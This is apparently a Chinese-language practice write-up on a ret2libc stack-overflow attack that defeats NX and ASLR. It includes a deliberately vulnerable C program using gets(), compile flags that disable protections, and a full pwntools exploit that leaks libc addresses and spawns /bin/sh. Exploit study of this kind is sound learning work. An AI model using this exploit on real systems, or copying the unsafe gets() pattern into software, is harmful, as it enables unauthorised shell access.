前情回顾
之前的实践中,当我们开启了栈不可执行,但是关闭了地址随机化,我们可以通过找到system“/bin/sh”的地址,然后利用溢出跳转到system“/bin/sh”的地址去执行,当然,这一切都基于关闭了地址随机化,使得 system() 函数在内存中的地址是不会变化的,并且 libc.so 中也包含 “/bin/sh” 这个字符串,这个字符串的地址也是固定的。
那么问题来了。。。。。。
如果我们想同时开启了栈不可执行和地址随机化,应该如何绕过呢?
那就先卖一个关子,先逐步做下去,我们就会明白了
C语言代码
#include<stdio.h>
char buf2[10] = "this is buf2";
void vul()
{
char buf1[10];
gets(buf1);
}
void main()
{
write(1,"sinxx",5);
vul();
}
可见在vul()里的gets函数和write()均可输入和溢出。
进行编译
gcc -no-pie -fno-stack-protector -m32 -o 9.exe 9.c
一般情况下,ASLR默认情况下是开启的,也可以通过下面这个命令开启:
echo 2 > /proc/sys/kernel/randomize_va_space
定位溢出点
可以发现溢出点为22
cyclic 100
cyclic -l aaya
接下来我们通过ldd 9.exe来查看libc的地址,可以发现每一次都是改变的。
如何解决呢?
system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的(即使打开ASLR也是这样的)。
我们可以先泄漏出 libc.so 某些函数在内存中的地址,然后再利用泄漏出的函数地址根据偏移量计算出 system() 函数和 /bin/sh 字符串在内存中的地址,然后再执行我们的 ret2libc 的 payload 就可以了。
exp
from pwn import *
context(arch="i386",os="linux")
p=process("9.exe") //加载进程
e=ELF("9.exe") //加载elf文件
addr_write=e.plt["write"]
addr_gets=e.got["gets"] //gets函数的真实地址会存在它的got表里
addr_vul=e.symbols["vul"] //自定义的函数用符号表
print pidof(p) //可用于attach调试
offset=22
pause()
payload1=offset*'a'+p32(addr_write)+p32(addr_vul)+p32(1)+p32(addr_gets)+p32(4)
p.sendlineafter("sinxx",payload1)//是指将在sinxx输完之后 再输入payload1
gets_real_addr=u32(p.recv(4))//把字符串变成32位地址
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
rva_libc=gets_real_addr-libc.symbols["gets"]//算出偏移值
addr_system=rva_libc+libc.symbols["system"]//找出system的真实地址
addr_binsh=rva_libc+libc.search("/bin/sh").next() //找出/bin/sh的真实地址,函数用symbols修饰,字符串用search
payload2=offset*'a'+p32(addr_system)+p32(0)+p32(addr_binsh)//和绕过地址不可执行的payload一样
p.sendline(payload2)
p.interactive()
对exp的理解:
1.elf文件: 在计算机科学中,是一种用于二进制文件、可执行文件、目标代码、共享库和核心转储格式文件。这个解释让人依旧很蒙圈。
推荐一篇文章:https://blog.csdn.net/daide2012/article/details/73065204
2.payload1的理解
payload1=offset*‘a’+p32(addr_write)+p32(addr_vul)+p32(1)+p32(addr_gets)+p32(4)
先调用write函数,然后1,addr_gets,4均为write函数的参数,就可以把gets函数的真实地址写入,最后跳转到vul的地址去执行payload2。
write函数:
3.找出偏移地址:
先加载9.exe依赖的库,ldd 9.exe
看程序依赖什么库
然后rva_libc=gets_real_addr-libc.symbols[“gets”],用gets函数的真实地址减去libc中gets函数的地址,求出偏移值。
addr_system=rva_libc+libc.symbols[“system”]
addr_binsh=rva_libc+libc.search("/bin/sh").next()
用偏移值加上libc中system和“/bin/sh”的地址,就能得到system和/bin/sh的真实地址。这里注意system是函数,用symbols修饰,/bin/sh是字符串,用search修饰。
next()是用来查找字符串的,比如next(libc.search(’/bin/sh’))用来查找包含/bin/sh(字符串、某个函数或数值)的地址
一个疑问
我开始以为write函数和gets函数都发生了溢出,后来明白两次溢出均是gets函数,第一次呢,我们运行主函数的时候,先运行write函数,就会输出sinxx,然后我们运行vul,这里面有个数组,然后我们利用gets函数溢出,使用write函数打印出那个addr_gets,然后我们执行完之后,又会
跳到这个vul函数,再次溢出并执行payload2。
运行python 9.py
getshell!